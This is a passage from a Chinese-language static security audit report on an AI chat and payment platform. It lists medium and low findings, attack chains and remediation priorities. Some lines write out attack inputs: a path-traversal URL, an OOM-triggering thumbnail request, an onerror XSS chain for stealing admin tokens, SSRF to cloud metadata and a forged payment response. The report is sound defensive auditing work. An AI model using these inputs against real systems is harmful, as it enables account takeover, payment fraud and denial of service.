grep 全量确认 RateLimitEvery 仅用于 api/handler/prompt_handler.go:49。登录、注册、找回密码、短信/邮件发送、兑换码核验等敏感接口均无限流,配合 H-03/H-07 可放大为账号接管与资源滥用。

修复:对认证类接口按账号+IP 做滑动窗口限流与失败锁定;短信/邮件按接收者与 IP 双重限流;在 Nginx 层再加一道 limit_req。

M-04 Gin 默认信任所有代理,X-Forwarded-For 可伪造 🟡

api/core/app_server.go:41 使用 gin.Default(),全仓库未调用 SetTrustedProxies。Gin 1.9.x 默认信任所有代理,c.ClientIP()(用于 rate_limit.go:23 的限流键与登录 IP 记录)可被 X-Forwarded-For 伪造,从而绕过 IP 限流、污染审计日志。

修复:启动时 engine.SetTrustedProxies([]string{"<真实反代IP/CIDR>"})。

M-05 支付网关 TLS 关闭校验 + 商户密钥经 URL 明文传输 🟡

api/service/payment/epay_service.go:112-117,146,151-154:

tr := &http.Transport{ TLSClientConfig: &tls.Config{ InsecureSkipVerify: true } } // 取消 SSL 证书验证
...
params.Set("key", s.config.PrivateKey)
apiURL := fmt.Sprintf("%s/api.php?%s", s.config.ApiURL, params.Encode())

易支付的 Pay/Query 均不校验 TLS 证书,且商户密钥放在 GET 查询串里(易被代理/日志记录)。payment_handler.go:430-465(EPayNotify)信任该 Query 结果来标记订单已支付:网络/DNS/CA 层攻击者可对任意 out_trade_no 返回 {"code":1,"status":"1"},使 paySuccess 为未支付订单加算力(:450-457)。

修复:移除 InsecureSkipVerify;改用带签名的查询接口,密钥不要出现在 URL;校验查询响应签名。

M-06 算力增减的并发控制不足 🟡

api/service/user_service.go:55-71 的 DecreasePower 是「先查余额再扣减」的 TOCTOU 模式,且只用进程内 sync.Mutex:

tx.Where("id", userId).First(&user)
if user.Power < power { tx.Rollback(); return fmt.Errorf("用户算力不足") }
tx.Model(&model.User{}).Where("id", userId).UpdateColumn("power", gorm.Expr("power - ?", power))

多副本部署或跨进程并发时可把余额扣成负数。RedeemHandler(redeem_handler.go:27,56)与 paySuccess(payment_handler.go:43,346)的互斥也仅进程内有效。

修复:UPDATE users SET power = power - ? WHERE id = ? AND power >= ? 并检查 RowsAffected==1;幂等键唯一约束。

M-07 缩略图中间件路径穿越 + 内存 DoS 🟡

api/core/middleware/thumb.go:21-36:

filePath := strings.TrimLeft(c.Request.URL.Path, "/")   // 未做 Clean/前缀校验,可含 ../
file, err := os.Open(filePath)
...
with := utils.IntValue(size[3], 0)      // 宽高来自 URL,无上下限
height := utils.IntValue(size[5], 0)
newImg = resize.Resize(uint(with), uint(height), img, resize.Lanczos3)
  • 该中间件是全局的(app_server.go:47),在静态处理器之前执行,因此绕过了 http.Dir 的路径清洗;/static/../../../../etc/...?imageView2/... 可读取静态目录之外的图片文件(受图片解码限制)。
  • IntValue 无边界(utils/common.go:160-166),w/-1 经 uint(-1) 变成极大值,resize 会尝试分配数 GB 内存 → 匿名 OOM(不可被 recover 捕获);w/1000000000 同理。

修复:用 c.Param("filepath") 配合 http.Dir/http.FileServer;filepath.Clean + filepath.Rel 校验结果在 StaticDir 内;宽高/质量做上下限;缩略图接口加鉴权或签名。

M-08 PPT 本地文件映射路径穿越 🟡

api/service/ppt/export.go:123-138:

if bu != "" && strings.HasPrefix(raw, bu) {
    suffix := strings.TrimPrefix(strings.TrimPrefix(raw, bu), "/")
    return filepath.Join(bp, suffix), true     // suffix 可含 ../,Join 会规整并逃出 bp
}

reference_image.go:24-25 会读取该路径并转 base64 送给第三方图像服务,export.go:227-237 会读取并嵌入导出文件。当前 raw 来自服务端生成的图片 URL(ppt_service.go:491、slide_edit.go:67,166),尚未发现用户可直接控制,因此列为中危「潜在任意文件读取」;一旦后续有接口允许用户写入幻灯片图片地址,即升级为严重。

修复:filepath.Clean 后用 filepath.Rel(bp, joined) 校验结果不以 .. 开头;拒绝绝对路径与 url.PathUnescape 后的 ..。

M-09 ?token= 直接写入登录态 🟡

web/src/views/Login.vue:59,84-88:

const token = ref(router.currentRoute.value.query.token || '')
...
if (token.value) { setUserToken(token.value); handleRegisterSuccess() }

任意 /login?token=<JWT> 会把该 token 写入本地会话(会话固定/登录 CSRF),且 URL 中的 token 会经浏览器历史、Referer、日志泄露。

修复:不使用 URL 传 token;改为一次性、短时效、服务端可校验的授权码,通过 POST 换取会话。

M-10 任意 URL 无沙箱 iframe 与直接跳转 🟡

web/src/views/ExternalPage.vue:9,20 将 ?url= 原样放入 <iframe :src>,无 sandbox、无协议/主机白名单;Member.vue:501 用 window.location.href = res.data.pay_url,菜单 url 也来自服务端。可被用于钓鱼/点击劫持或(若服务端数据被污染)任意跳转。

修复:iframe 加 sandbox 与 referrerpolicy="no-referrer",白名单 https 主机;跳转前校验协议与域名。

M-11 用户上传接口无大小限制 🟡

api/handler/net_handler.go:52-57 的用户上传路径没有任何大小校验:

file, err := h.uploaderManager.GetUploadHandler().PutFile(c, "file")

对比 api/handler/admin/upload_handler.go:51-54 会检查 SysConfig.Base.MaxFileSize(默认 10 MB)。全仓库未使用 http.MaxBytesReader;Gin 的 MaxMultipartMemory 只控制内存缓冲,超出部分仍会落盘再复制到上传目录。任意登录用户可填满数据盘。

修复:所有上传入口用 http.MaxBytesReader 或在解析前校验 MaxFileSize;拒绝时清理半成品文件。

M-12 LocalStorage.Delete 未限定目录,潜在任意文件删除 🟡

api/service/oss/localstorage.go:102-108:

func (s LocalStorage) Delete(fileURL string) error {
    if _, err := os.Stat(fileURL); err == nil { return os.Remove(fileURL) }
    filePath := strings.Replace(fileURL, s.config.BaseURL, s.config.BasePath, 1)
    return os.Remove(filePath)
}

没有把删除限制在 BasePath 内。当前调用方传入的是数据库中的服务端生成值(net_handler.go:148-152、各 admin job handler),尚未发现用户可设置 ObjKey/job URL 的路径,属潜在任意文件删除原语(例如 ../../config.toml)。

修复:filepath.Clean 解析后的路径必须以 filepath.Clean(BasePath) 为前缀,否则拒绝。

M-13 支付宝回调未验签,查询响应也未开启验签 🟡

api/handler/payment_handler.go:404-427 的 AlipayNotify 从不调用 alipayService.TradeVerify(唯一会调用 alipay.VerifySignWithCert 的函数,alipay_service.go:95-107),而是解析表单后用客户端提供的 out_trade_no 重新查询。重新查询本身是权威的,但 AlipayService.UpdateConfig(:46-59)未调用 client.AutoVerifySign(...),gopay v1.5.101 的 alipay Client.autoSign 默认关闭,因此 TradeQuery 的响应也没有签名校验。影响限于 TLS/DNS 中间人(此处未关闭 TLS 校验),故为中危。TradeVerify 成为死代码,说明校验本应存在但被漏掉。

修复:回调改用 TradeVerify 验签;UpdateConfig 中调用 client.AutoVerifySign(alipayPublicKeyCert)。

M-14 金额使用 float64 且分转换截断 🟡

api/store/model/product.go:11、api/store/model/order.go:17 的 Price/Amount 为 float64;微信金额 int(amount*100)(payment_handler.go:221)会截断(如 0.29 → 28 分),客户少付而订单仍按全额加算力;易支付用 fmt.Sprintf("%f", amount)(6 位小数,:246,:296)、支付宝用 %.2f(:273),各渠道取整不一致;也没有 price > 0 校验。

修复:金额全链路改为整数分(int64);校验 price > 0 与合理上限。

M-15 下单不校验商品启用状态与价格边界 🟡

api/handler/payment_handler.go:186-206:

err := h.DB.Where("id", data.Pid).First(&product).Error
...
amount := product.Price

任意用户可通过 id 为已下架/禁用的商品下单(未过滤 enabled,对比公开列表 handler/product_handler.go:39)。结合 C-01 的匿名 product/save(可设任意价格/算力),这是最干净的「免费算力」路径。

修复:Where("id = ? AND enabled = ?", data.Pid, true),并校验价格/算力边界。

M-16 兑换码核销与加算力不在同一事务 🟡

api/handler/redeem_handler.go:76-98、api/service/user_service.go:27:

tx := h.DB.Begin()
err := h.userService.IncreasePower(userId, item.Power, ...)   // 内部用自己的 s.db.Begin(),不是 tx
...
item.RedeemedAt = time.Now().Unix()
err = tx.Updates(&item).Error

IncreasePower 自带独立事务,tx.Rollback() 无法撤销已加的算力;若 tx.Updates/Commit 失败,则算力已到账而 redeemed_at 仍为 0,同一张卡密可再次兑换。核销也未用 UPDATE ... WHERE redeemed_at = 0 的条件更新,进程内锁在多副本下无效。

修复:先用条件更新抢占卡密(RowsAffected==1),并在同一事务内加算力(把 tx 传入服务)。


5. 低危 / 加固项

编号 问题 位置 建议
L-01 JWT 无标准 exp/iat,使用自定义 expired;middleware/auth.go:14 引入 v3 而签发用 v5;function_handler.go:84-109 的 checkAuth 不校验 Redis 会话,登出后仍可用 api/core/middleware/auth.go、api/handler/user_handler.go:428 统一使用 golang-jwt/jwt/v5,签发 exp/iat/sub 并校验 iss/aud;所有鉴权路径都校验 Redis 会话
L-02 AesEncrypt 用 key[:blockSize] 作为固定 IV 且无 MAC(CBC 可延展),当前无调用方 api/utils/crypto.go:24-67 删除死代码或改为 AES-GCM + 随机 IV
L-03 启动时后台向 GeekAPIURL 上报 HostID/设备指纹 api/core/app_server.go:67-80 如非必要,移除或改为显式开关并告知用户
L-04 状态变更使用 GET(/api/chat/remove、/api/admin/order/clear、/api/admin/redeem/remove、/api/user/logout 等) 多处 改为 POST/DELETE
L-05 雪花算法 workerID=0 且订单号含时间戳,可枚举 api/service/snowflake.go:24-56 配置 workerID;订单查询加用户过滤(见 L-07)
L-06 NewDefaultConfig 未生成 AdminSession,自动创建配置时管理员 JWT 密钥为空 api/core/config.go:24-43 同时生成 AdminSession.SecretKey
L-07 /api/order/query?order_no= 未按用户过滤(仅返回状态,影响有限) api/handler/order_handler.go:84-101 加入 user_id 条件
L-08 axios 0.27.2(CVE-2023-45857,且全局 withCredentials=true)、md-editor-v3 2.11.3 等偏旧 web/package.json、api/go.mod 升级依赖;补跑 npm audit、govulncheck
L-09 Docker 默认把 MySQL(3307)/Redis(6380)/API(5678)/Web(8080) 映射到宿主机并使用仓库内口令 docker/docker-compose.yaml:9,11-12,28,31-32 端口绑定 127.0.0.1 或仅内网;口令随机化
L-10 前端 33 处 target="_blank" 无 rel="noopener";无 CSP;/admin/* 仅前端守卫(router.js:504-508 无鉴权逻辑) web/src/** 补 rel、CSP、HSTS、X-Content-Type-Options;管理端权限必须服务端强制
L-11 下载临时文件用 filepath.Join(os.TempDir(), filepath.Base(u.Path)),路径可预测且从不清理;无大小限制 api/utils/file.go:88-154 改用 os.CreateTemp + defer os.Remove + io.LimitReader
L-12 每日签到「先查后写」竞态,可并发重复领取;Put 错误被忽略 api/handler/user_handler.go:752-775、store/leveldb.go:31-45 用原子 Put-if-absent / Redis SETNX,并检查错误
L-13 各任务失败退款循环「先加算力再把 power 置 0」,无 refunded 标志与条件更新,可重复退款 service/{image,mj,video,suno,jimeng}/*.go UPDATE ... SET power=0 WHERE id=? AND power>0 成功后再退款
L-14 CreateOrder 未写入 Order.ProductId,paySuccess 的销量更新恒为 0,销量统计失效 payment_handler.go:325-335、:394-395 下单时写入 ProductId
L-15 power_logs.amount 为 smallint,超过 32767 的算力授予会写日志失败并回滚;SyncOrders 硬编码 5 分钟超时与配置项不一致,超时后不再轮询,可能漏发已支付订单 store/model/power_log.go:14、payment_handler.go:117 日志字段改 int;超时读取 SysConfig.Base.OrderPayTimeout

6. 攻击链汇总

链路 A:匿名 → 免费算力 → 系统破坏(无需任何凭据)

C-02 读取 payment/oss/jimeng 密钥
C-01 改商品价格/算力 + C-05 导出兑换码(或直接把 redeemed_at 重置)
  → 低价购买或直接兑换获得海量算力
C-01 篡改菜单 / 覆盖即梦配置 → 挂马、钓鱼、服务不可用

链路 B:普通用户 → 管理员接管(最危险)

注册普通账号(H-07 无频控)
  → 提交含 <img onerror=...> 的聊天消息/歌词(或上传 .html 到 /static,H-05)
  → 管理员后台查看该记录(C-06,html:true + v-html)
  → 脚本读取 localStorage 中的 Admin-Authorization(H-04)
  → 攻击者以管理员身份调用 /api/admin/*,完成接管

链路 C:账号接管

H-03 验证码永不过期 + 无尝试限制 → 爆破 /api/user/resetPass → 重置任意账号密码
或 C-07 伪造 openid → 直接登录为任意微信用户

链路 D:内网渗透 / 云凭证窃取

H-01 /api/download?url=  或 H-02 聊天文件解析  或 H-09 即梦/视频参数
  → 访问 169.254.169.254 / 内网服务 / Redis / MySQL
  → 结合 C-02 已泄露的云存储 AK/SK → 横向移动

链路 E:资金/算力损失

H-10 开高价订单只付 1 分钱 → 回调不校验金额 → 全额加算力
H-11 多副本/状态更新失败 → 同一订单重复加算力
M-05 中间人篡改易支付 Query 结果 → 未支付订单被标记成功
M-16 兑换码核销与加算力非原子 → 同一卡密重复兑换

链路 F:算力盗刷 / 越权操作

C-04 聊天接口传 user_id=<受害者>  → 消耗其算力、写入其会话
H-06 /api/function/image3 同理
M-02 MJ 接口传 user_id → 删除/发布他人作品
M-01 公开 chat_id → 读取他人对话

链路 G:匿名 DoS

M-07 /static/x.png?imageView2/4/w/-1/h/-1/q/75 → 单请求触发 OOM
M-11 大文件上传 → 磁盘耗尽

7. 修复优先级建议

P0(立即,公开发布前必须修复)

  1. C-01 为全部 /api/admin/* 补齐服务端鉴权(建议全局中间件 + 白名单),并加 401 回归测试。
  2. C-02 收敛 /api/config/get 为字段白名单,敏感配置仅管理端可读;轮换所有已泄露密钥。
  3. C-03 移除默认口令与仓库内密钥,首次启动强制改密,安装脚本生成随机密钥。
  4. C-04 / H-06 所有涉及用户的接口改用鉴权上下文用户 ID,忽略客户端 user_id。
  5. C-05 兑换码接口补鉴权、导出留痕、Set 改字段白名单。
  6. C-06 引入 DOMPurify 消毒全部 v-html 输出(优先管理后台与用户侧聊天渲染)。
  7. C-07 微信登录回调改为服务端验签。
  8. H-10 / H-11 支付入账改为「校验金额 + 条件更新抢占订单 + 单事务加算力」的幂等流程。

P1(尽快)
9. H-01/H-02/H-09 统一封装出网客户端:协议白名单、私网/元数据 IP 拦截、逐跳重定向校验、超时与大小限制。
10. H-03 验证码加 TTL、频控、失败计数、人机验证;改用 crypto/rand。
11. H-04 token 迁移到 HttpOnly Cookie(配套 CSRF)。
12. H-05 上传扩展名白名单 + 独立域名/nosniff/attachment。
13. H-07 邀请码增加启用/上限/禁自邀;注册加人机验证与频控。
14. H-08 口令改 bcrypt/argon2id。

P2(计划内)
15. M-01/M-02/L-07 补齐所有资源归属校验。
16. M-03/M-04 全站限流 + 正确配置受信代理。
17. M-05/M-13 恢复支付网关 TLS 校验并开启验签。
18. M-06/M-16 算力与卡密改为数据库原子操作 + 幂等约束。
19. M-07/M-08/M-12 路径归一化、边界校验、删除范围限制。
20. M-09/M-10 移除 URL token,iframe 加沙箱与白名单。
21. M-11 所有上传入口加大小限制。
22. M-14/M-15 金额改整数分、下单校验商品状态与价格。

P3(加固)
23. L-01~L-15:JWT 规范、CSP/HSTS、依赖升级、Docker 端口收敛、GET→POST、签到/退款幂等、临时文件清理等。


8. 审计覆盖与「检查后确认安全」项

为避免误报,以下为已核对、未发现问题的点:

通用 / 注入

  • SQL 注入:全仓库查询均通过 GORM 参数化;未发现将用户输入拼接进 SQL 的 Raw/Exec(service/migration_service.go 的 Exec 为静态 DDL,唯一 Sprintf 的 idxName 来自数据库元数据)。
  • GORM 单参数写法:Where("user_id", userId)、Where("id", userId) 这类「字符串 + 单参数」是 GORM 的列等值简写(BuildCondition 中 len(args)==1 分支),等价于 user_id = ?,不是注入,也不是「条件失效」。
  • 命令注入:api/ 中无 os/exec / exec.Command,无 ffmpeg/ffprobe 调用;utils/media_duration.go 为纯 Go 解析。
  • 压缩包解压 / zip-slip:无 archive/zip、archive/tar 或解压逻辑。
  • 模板注入 / SSTI:无服务端模板渲染用户输入。
  • JWT 算法混淆:鉴权中间件显式限定 *jwt.SigningMethodHMAC,可防 alg=none 与 RS/HS 混淆。

文件与存储

  • 上传路径穿越:GenUploadPath 的文件名是 <UnixMicro><ext>,用户文件名仅用于取扩展名,不进入路径;filepath.Base 也阻断了 URL 中的 ../。
  • 静态目录本身:Gin Static → http.Dir/http.FileServer 会清洗路径并阻止 ..,且未开启目录列表;穿越仅存在于 ThumbMiddleware(M-07)。
  • Tika 输出:utils/file.go:55-65 使用 bluemonday 白名单清理;Tika 主机来自服务端配置,非请求输入。
  • TTS 输出路径:<StaticDir>/audio/<sha256(modelId/text)>.mp3,哈希派生,无穿越。
  • 文件下载 ext 参数:PutUrlFile 的调用方均传硬编码扩展名(.png/.mp4/.mp3),未发现经该参数穿越。
  • 上传接口鉴权:用户上传与管理员上传均有对应鉴权中间件(问题在于类型白名单与大小限制,而非鉴权)。

支付 / 订单

  • 兑换码熵:utils.GenRedeemCode(32) = 16 随机字节 → 128 bit,且 code 有唯一索引,不可暴力枚举;一次性校验存在(问题在事务与鉴权,见 C-05/M-16)。
  • 服务端定价:CreateOrder 的金额与 Remark.Power 均来自数据库商品,客户端只提供 pid,不存在直接改价。
  • 易支付回调验签:payment_handler.go:443-448 校验了 MD5 签名后才查询订单(问题在 TLS 与密钥传输,见 M-05)。
  • 微信回调:使用 V3ParseNotify + DecryptPayCipherText(ApiV3Key)(AES-GCM 认证密文),且 wxpay_service.go:51 开启了 API 响应自动验签;是否额外调用平台证书验签需按 gopay 版本人工确认(LOW-12 类)。
  • 支付宝回调:虽未验签,但会服务端重新查询支付宝(问题在于查询响应也未验签,见 M-13)。
  • 无「沙箱/测试分支」直接加算力:SandBox 仅切换网关地址,查询仍权威;handler/test_handler.go 只回显数据;GEEKAI_DEBUG 仅打开 SDK 日志。
  • 用户订单列表已按 user_id 过滤(order_handler.go:48);IDOR 仅在 Query。

前端

  • eval / new Function:web/src/** 未发现(仅 vendored assets/iconfont/iconfont.js 使用 document.write,数据为静态内置)。
  • 无第三方埋点:未发现 gtag/百度统计/Sentry 等外发通道;public/ 无密钥。
  • CSRF:当前鉴权基于自定义请求头而非 Cookie,经典 CSRF 风险有限;但前端设置了 withCredentials=true,若后端未来启用 Cookie 会话则需补 CSRF 令牌(见 H-04)。
  • window.opener / postMessage:无跨窗口 message 监听;仅同源 Worker 的 MessagePort。

本次未执行 / 待人工确认:

  • 动态渗透测试与真实环境验证;
  • govulncheck、npm audit、SAST 工具扫描;
  • gopay 版本中微信平台证书验签的确切调用(代码仅调用了解密);
  • 第三方服务(微信、支付网关、火山引擎等)控制台侧的配置核查。

9. 附:关键文件索引

主题 文件
鉴权中间件 api/core/middleware/auth.go
路由/静态服务/遥测 api/core/app_server.go
用户登录/注册/重置/微信登录/签到 api/handler/user_handler.go
短信/邮件验证码 api/handler/sms_handler.go
聊天主流程 api/handler/chat_handler.go、api/handler/chat_item_handler.go
配置读取 api/handler/config_handler.go
上传/下载/SSRF api/handler/net_handler.go、api/utils/upload.go、api/utils/file.go、api/utils/media_duration.go
管理后台(缺鉴权) api/handler/admin/{dashboard,order,product,redeem,menu,jimeng,power_log}_handler.go
支付/订单/兑换 api/handler/payment_handler.go、api/handler/order_handler.go、api/handler/redeem_handler.go、api/service/payment/*.go
算力服务 api/service/user_service.go
即梦/视频 SSRF api/handler/jimeng_handler.go、api/service/video/adapters/sora_adapter.go
缩略图/PPT 路径 api/core/middleware/thumb.go、api/service/ppt/export.go
默认配置/密钥 api/config.sample.toml、docker/conf/config.toml、docker/docker-compose.yaml、database/*.sql、web/.env.development
前端会话/XSS web/src/store/session.js、web/src/utils/libs.js、web/src/components/ChatReply.vue、web/src/views/admin/records/{ChatList,Suno}.vue

本报告基于 2026-09-09 的代码快照进行白盒静态审计(HEAD 3e66c5ac),未做运行时验证。修复后建议对 P0/P1 项做针对性回归测试与动态验证。

正文完
 0